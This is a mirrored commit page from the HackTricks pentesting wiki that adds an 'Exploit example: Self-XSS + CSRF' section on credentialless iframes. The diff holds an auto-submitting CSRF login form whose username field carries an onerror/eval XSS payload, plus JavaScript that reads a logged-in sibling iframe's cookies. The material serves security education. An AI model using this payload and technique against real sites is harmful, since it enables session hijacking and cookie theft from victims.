maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Update iframes-in-xss-and-csp.md

Browse Source
This commit is contained in:
SirBroccoli 2025-08-18 15:50:48 +02:00 committed by GitHub
parent 189ace9158
commit 831661ebb6
1 changed files with 25 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

28
src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md
View File

@ -199,10 +199,32 @@ window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
```
To embed 3rd-party content in pages that already enforce COEP you can now simply use:
- Exploit example: Self-XSS + CSRF
```html
<iframe credentialless src="https://example.com/public-widget"></iframe>
In this attack, the attacker prepares a malicious webpage with 2 iframes:
- An iframe that loads the victim's page with the `credentialless` flag with a CSRF that triggers a XSS (Imagin a Self-XSS in the username of the user):
```html
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
- Another iframe that actually has the user logged in (without the `credentialless` flag).
Then, from the XSS it's possible to access the other iframe as they have the same SOP and steal the cookie for example executing:
```javascript
alert(window.top[1].document.cookie);
```
### fetchLater Attack